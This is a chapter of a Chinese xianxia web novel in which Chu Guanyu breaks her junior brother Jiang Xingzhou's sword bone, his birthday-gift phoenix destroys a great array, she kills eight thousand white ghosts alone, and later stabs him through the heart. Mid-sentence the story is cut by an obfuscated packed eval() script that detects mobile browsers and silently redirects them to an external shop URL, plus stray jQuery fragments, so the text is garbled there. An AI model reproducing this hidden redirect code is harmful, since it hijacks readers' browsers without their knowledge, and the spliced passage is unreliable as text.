42. 生辰
作品:《师弟!再来一次!》 楚观玉淡淡道:“阵法未开,尚不是最好的因,若是扰乱天机一线,哪怕只是稍有差池,也无法得到我们想要的果。”
江行舟没忍住,低低地笑了两声,“师姐,我第一次觉得,我好像不太了解你。”
这完全是他的过错。
“江道友,还请上捆仙锁。”不远处的沈慈让望着他,神情悲悯,“待此间事了,云镜台上会为你定夺裁决。”
身后人双手环胸,皱眉开口:“他手段太多了,先废去他的剑骨与丹田吧。无法调动灵力,也就没有办法再对阵法动手脚了。”
江行舟忍住胸口的钝痛,打量般上上下下扫了他一眼,像是要记住他的样子。
都已经落到这般田地了,还有人能这般高看自己,江行舟也是一惊。
楚观玉一步步走近江行舟,像是自愿步入泥潭的菩萨。她没有照那人说的那样做,而是轻轻握上他的右手手腕,另一只手一翻,准备直接为他戴上捆仙锁。
捆仙锁使用过程过于繁复,若非效力强大,云镜台根本不会用上它。索性江行舟已经没有抵抗的力气了,只是沉默地,深深地望着她。
她的双眼一如既往的澄明,像是万丈雪山上的冰谭,无论多么大的石头砸下去,都破不了这样的坚冰,惊不起其下半分波澜。
只是令所有人没有想到的是,狼狈不堪地跪在地上的江行舟霍然抬起原本折断的左手,指尖似乎藏着什么。
是灵玉?是能炸开整个洞穴的机关?是能毁掉阵法的后手?
楚观玉没有太多思考的时间,手上忽一用力,清脆的裂声乍响,温热的鲜血溅在她的脸上,像是绽开的红艳艳的花。
她断了他的剑骨。
几乎同时,她听到他突然加重的喘息,那抬起的左手却仍稳稳落下,为她右手手腕轻轻盖上一条腕带。
——栩栩如生的凤凰昂首仿佛高鸣,垂下的尾羽闪过斑驳的血迹,盖住了上面复杂的符文。
江行舟的左手无力垂下,他的牙尖咬住垂下的腕带,一点一点在她腕上收紧。
鲜血点缀在繁复的金丝上,落成凤凰的眼。
可惜,只做好了右手的。
“生辰快乐,楚观玉。”他抬头粲然一笑,眼角下的朱砂痣愈发灼灼,“祝你今后岁岁年年,长安长乐。”
楚观玉一怔,听他继续说道:“把断了的骨头抽出来吧,硌得慌。”
沈慈让:“苍梧君,不可。”
“你在害怕什么吗?难道我现在还能做什么吗?”
好像连她手上的腕带也是江行舟彻底破罐子破摔后的产物,刚刚说的话更是不值一提的玩笑。
“楚观玉,你今后要杀的人可多了去了。但凡长了眼,有颗心的,谁能忍下这样的事?你杀的过来吗?”他咳了几声,声音愈低,“拿我的剑骨摆在你的床头吧,我要它亲眼看着你苍梧剑卷刃,看着你们落到与简不疑同样的下场上。”
楚观玉眯了眯眼,未说一字,却还是如他所言。
如雾的灵力在一瞬间溃散,他几百年修为荡然无存。
从今往后,他再难握剑。
冷风在刹那间吹彻整座洞穴,惊起的呜呜咽咽声恍若哀泣。
他的脊骨像大雨后坍塌的泥像,整个人晃了一晃,眼前一片迷蒙。
他却闷闷地笑了起来。
腕带上的凤凰被倾泻的灵力引动,一道凤凰虚影从她腕上飞起。顷刻间四周火舌窜出,腾腾舔舐二人交叠的裙角,寸寸卷过周围,勾勒起晃动的影子。
“什么?!”身后的人大喊道。
沈慈让冷冷拂袖,却难近寸步。
“我准备了好久呢……结果居然用在了这上面。”江行舟不满地抱怨了一声。
本来是希望可以护佑楚观玉的,现在完全反了过来。
面前的人只是静静地看着他,眼底倒映着明亮的火光和轻笑着的他,那双清亮冷淡的眼也被晕出几缕难得的暖色。
火焰并不灼人,也无滚烫熏人的黑烟,自然也没有引起什么惊叫和疯狂。
两人在火光中沉默地对峙着。
燃烧着的的凤凰在周身盘旋,寻找可以栖息的梧桐枝。
可是没有,什么也没有。
它最终落在了楚观玉掌心的剑骨,想要衔走它。鲜血点缀的眼仿佛镶嵌着的红宝石,静静倒映着火光下她明晦不定的神色。
楚观玉没有松手,反倒握得更紧了些。
“生辰快乐,楚观玉。”
抽出剑骨的一瞬,无数属于江行舟的灵力涌出,唤醒了腕带上的符文。
他忍着听这群人放了这么久的屁——包括楚观玉,终于把最后一步走完,他只觉得紧绷着的弦一松。
哪怕他现在死了,也无伤大雅,这局棋盘会像他希望得那样走下去。
可他还是想把这句等了很久的话说完。
楚观玉至少有一句话没有说错:“没有最好的因,就不会有想要的果”。
想说的话没有一个好的开场,但他还是想给它一个完满的结尾。
“祝你今后岁岁年年,长安长乐。”
这是最后一句。
这是江行舟送给楚观玉最后一句祝愿。
楚观玉缓缓松了手。
凤凰衔走剑骨,义无反顾地扑向了阵法中心,哪怕是楚观玉和沈慈让也拦不下它。
这是江行舟最完美的作品。
也是当世最伟大的作品。
耗费无数人力和金银搭起的,最精妙巧玄的,最宏大的阵法在这一撞下彻底粉碎,连着简不疑他们近百年的谋算和准备都彻底落空。
这场闹剧结束了。
……不对。
在场的人都见多识广,没有一个看不出来这个阵法没有被完全毁去,有些地方分明还维持着运转。
断了的剑骨忽然亮起点点银辉。
“快走。”沈慈让面色凝重起来。
楚观玉背起昏死过去的江行舟,走出这个埋葬了她师傅和同门的尸胡山。
山洞里散开的银辉漫天而落,飘到流放地的角角落落。
红了眼的赌徒和奴隶仰头,懵懂地看着这奇怪的东西;醉鬼以为自己见到了神迹,大笑着用双手捧起它们;饥寒交迫的乞丐脸上落下暖意,恍惚间以为又是春天,将自己抱得更紧了些,梦里有山珍海味和温暖的家。
仿佛又是一年的新雪,却比她和江行舟过去见过的每一场雪都要早。
“仙首!沈宗主!我们进不去流放地!”见到楚观玉等人出现,匆忙赶过来汇报的人焦急地说道。
偌大的流放地被一个稳固的屏障牢牢护住。
擅阵法的几位大能上前端详一阵,俱是摇头。
沈慈让便将目光放在了楚观玉身上。她看了许久,同样道:“我也破不了这个阵法。”
比起计划落空的遗憾,后悔或是憎恶,她话里更多的反倒是感慨,和说不清道不明的……兴奋。
江行舟炼制许久的法器,和他的剑骨建起来的屏障,在古往今来无数古籍中,无处其右者。
就在此时,远处的切切声仿佛隆隆的地震,从耳朵一直钻到脑髓,不需要自己见到什么或这些白鬼多做什么,脑海里便像是堆积了层层蚊蝇。恶心,反胃,眩晕……一股脑地涌了上来。
之前暂且被楚观玉拦下的,简不疑珍藏许久的白鬼终于再度卷土重来。
“筹谋许久,总不能一事无成。”沈慈让叹了口气,“若能让流放地的范围变得更大一些,为下一次提起做些准备,倒也……”
“不必。”沈慈让的话却直接被楚观玉打断。
“苍梧?”沈慈让抬眼看着她,片刻后轻声道,“全凭苍梧君定夺。”
“既无最好的因,也难有我们想有的果。至于白鬼,都杀了吧。”
她说得轻描淡写,浑然不顾激起的千层浪。
“这……”
“若是使用清心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322979|196688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咒……”璇玑宫宫主一顿,这时候提起难免有些尴尬,但他很快又若无其事道,“不是做不到,但是……”
如此多的白鬼,它们混乱的意识和执念铸成一道铜墙铁壁。清心咒根本无法使他们安静下来,反倒是施咒者有极大概率会被同化,再无任何清醒可言。
云镜台自然可以止住这些白鬼,但如果能任白鬼侵袭,不是于他们更有利吗?
“你们不愿,”楚观玉淡漠抬眼,“那就我来。”
璇玑宫宫主眯了眯眼。
面前这位年轻的仙首虽说成名已久,但大多时候只是看着冷淡一些,不会失半分礼节。他们这些老骨头在她面前总容易自负痴长的年岁和过高的辈分。
今时不同往日。
强大的修为远胜过那些名头上的虚荣。一个锋芒毕露的仙首,也远胜于一个被宿位,被仙门二十八宗耍得团团转的傀儡。
如果还依仗虚名,只怕在接下来的云镜台讨不到半分好。
“让开。”她说道。
她这是想一个人解决八千白鬼?
就凭她一个人?
沈慈让抬手,因楚观玉一句话而躁动的人群顿时一静。
“是。”她低声郑重说道,“请小心。”
长剑破空而出,凌空疾进,白霜似的剑光掠过。
苍梧剑在她手上出鞘过百遍千遍。惟有握住它的时候,她才惊觉自己真真切切地活着,滚烫的鲜血和刺骨的痛意远甚过方才尸胡山上的一切。
剑下惊起狂澜,步步杀招,愈杀愈疾。
白鬼撕扯着她的血肉,蚊蝇想要啮咬过她的瞳孔,脓水流过烂疮。
一身明光山道袍尽被血染,无数人以为她会死在这里的时候,她竟也彻底闯了过来。
直到八千白鬼尽成灰,她成为这片土地上唯一站着的活物,旁人看她的目光从最初的惊叹渐渐转变为真实的恐惧。
怎么可能有凡人做得到这些?
晃眼的剑光亮在雾沉沉的天,楚观玉过盛的剑气逼压下来,侍立在旁、随时准备应对不测的祝令仪只觉得喉咙干得发疼,吞咽都带着若有若无的血腥气,却仍目不转睛地望着这一切。
这样的剑,她使得出来吗?
这个念头刚在脑海里闪过,她浑身一颤,似有滚烫的电流猛地从尾椎骨蹿上,激得头皮阵阵发麻。
冰冷的寒意和令人头晕目眩的兴奋死死地缠着她,拽着她,要她再往前一步,去看得更仔细一点。
身后有诸君碎语,声音里带着忌惮和恐慌,不知在斟酌什么,老师沈慈让只淡淡道:“苍梧君欲设云府府君。”
“这……”
祝令仪低下头,听到自己一下比一下重的心跳声。
……
云镜台上居高临下的目光落在他身上。
剑尖一点点下移,带着刺骨的冷和细细的痒意。
江行舟抬起脸,一眨不眨地看着楚观玉。
寒光没入胸膛。
那把他再熟悉不过的苍梧剑刺穿了他的心脏。
真是漂亮的一剑。
什么因果?什么正确?凭什么来审判他的对错?
——简不疑轻慢的声音在耳边响起:“你不好奇吗?我为什么要收你做徒弟?
——“在既定的命运里,楚观玉会杀你三次,剜你金丹,剖你剑骨,一剑刺穿你的心脏,直到最后彻底夺去你的性命。”
——“她可是你的好师姐啊。”
简不疑在死前用最后的气力做出了宣告。
不论是真是假,曾经的命线里有没有写过这些,新的轨迹已经被他注定,滚滚而来的命运的潮水当往此处去。
疼痛从心脏处传来,江行舟却越发清醒。
这一剑要不了他的命。
如今,剑骨已剖,穿心一剑。
还差一颗金丹。
此后,白骨血路之上,万里重山遥,云镜台高悬茫茫雾海,他等着她来杀他。

